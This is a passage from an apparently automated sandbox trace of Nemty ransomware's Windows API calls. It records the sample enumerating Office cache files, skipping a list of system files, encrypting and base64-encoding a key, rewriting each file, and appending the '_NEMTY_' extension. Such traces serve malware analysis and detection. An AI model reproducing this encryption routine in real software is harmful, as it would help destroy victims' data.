(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0050.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0050.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0050.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.msi", lpUsedDefaultChar=0x0) returned 14 [0050.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0050.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0050.574] Sleep (dwMilliseconds=0x5) [0050.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1d19290, dwHighDateTime=0x1d561e7)) [0050.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1d19290, dwHighDateTime=0x1d561e7)) [0050.589] GetLastError () returned 0xb7 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.589] GetLastError () returned 0xb7 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.589] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.589] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.589] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.589] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="KRnPyD0d5UQBn5KSLKtyJy+yaCt7l/QBrE5Dse+x0CaQ5vM+tCXGCvbGsQzNvYRA\r\nRQMgKmThETNPM2mvRWjCM6G7Bpe+ydSKexO7+65hMuS0xyHQuI9sad+6PTGpx4hx\r\ne6dDX40C21aoOzmXTOqtX4KDDlEQc4FhzHO79e3w6slf8oHqg8x6e4TjjA0Idnnk\r\nnnxfS2zGMb7w/NRK5oKaizFXScLA+3WmNtL4nJFvYmW9XOhI1SiTi/VfDvs1ReEf\r\nUgfHfFwmIyezwcBaJaie+Z9iRKJo6JnoyaYaSVr4kBC7VAAgYygZIR6sEpZGf7si\r\n8bab+1Y1FYmhKy81Zv2Urg==\r\n", pcchString=0x653ef9c) returned 1 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.589] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.590] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1992192) returned 1 [0050.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0050.590] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.590] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0050.599] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.599] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0050.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.599] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1992192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6600 [0050.599] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.601] CloseHandle (hObject=0x3c8) returned 1 [0050.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0050.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0050.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0050.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.632] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi._nemty_kgobjgd_")) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0050.633] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="...") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="$RECYCLE.BIN") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="rsa") returned -1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="NTDETECT.COM") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntldr") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSDOS.SYS") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="IO.SYS") returned 1 [0050.633] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot.ini") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot.ini") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="AUTOEXEC.BAT") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="desktop.ini") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="CONFIG.SYS") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="RECYCLER") returned -1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="BOOTSECT.BAK") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="programdata") returned -1 [0050.634] lstrcmpiW (lpString1="Office32WW.xml", lpString2="appdata") returned 1 [0050.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0050.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0050.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0050.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0050.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0050.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0050.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0050.634] Sleep (dwMilliseconds=0x5) [0050.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1d8b6b0, dwHighDateTime=0x1d561e7)) [0050.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1d8b6b0, dwHighDateTime=0x1d561e7)) [0050.635] GetLastError () returned 0x0 [0050.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.635] GetLastError () returned 0x0 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.636] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.636] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.636] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.636] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="kYtJbkZgAl2pNKgFEUrNRIWxzmcBYaxtS2YTjai8Z8tNAFgcRdFbwvndKx5AmcY1\r\nmSatyT/gE5l15ATFm9UzRQ3yN3RaDwRmLQNHL8VKIzWed8h5qeWbLiZSnHlEpWip\r\nOhZngzI9O0DQhf16oOkBiv6/3nE9ftfT49JMcCMMTxWIU+xKJYEWH4IP8k/AOKS2\r\nYtQD4zfAkkeUCaGpqJ0tlPC4VmYBJdrfbQjXKWHJLWReE41KxkiGC4R+fWBhMGfA\r\nsAS2fU+Sm3FGvQ5VvZoFMdjwsh1sWqN6JRTiaLi88nehAfNmPTeJy9yXi6u+flGm\r\ni+1jKptrTDcJrnrwu48fng==\r\n", pcchString=0x653ef9c) returned 1 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.636] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=4274) returned 1 [0050.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10b0) returned 0x6346d48 [0050.636] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.636] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x10b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x10b0, lpOverlapped=0x0) returned 1 [0050.639] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.639] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x10b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x10b0, lpOverlapped=0x0) returned 1 [0050.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.639] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10b2 [0050.640] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.640] CloseHandle (hObject=0x3c8) returned 1 [0050.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0050.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0050.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.640] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml._nemty_kgobjgd_")) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0050.641] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="...") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="$RECYCLE.BIN") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="rsa") returned -1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="NTDETECT.COM") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="ntldr") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="MSDOS.SYS") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="IO.SYS") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", 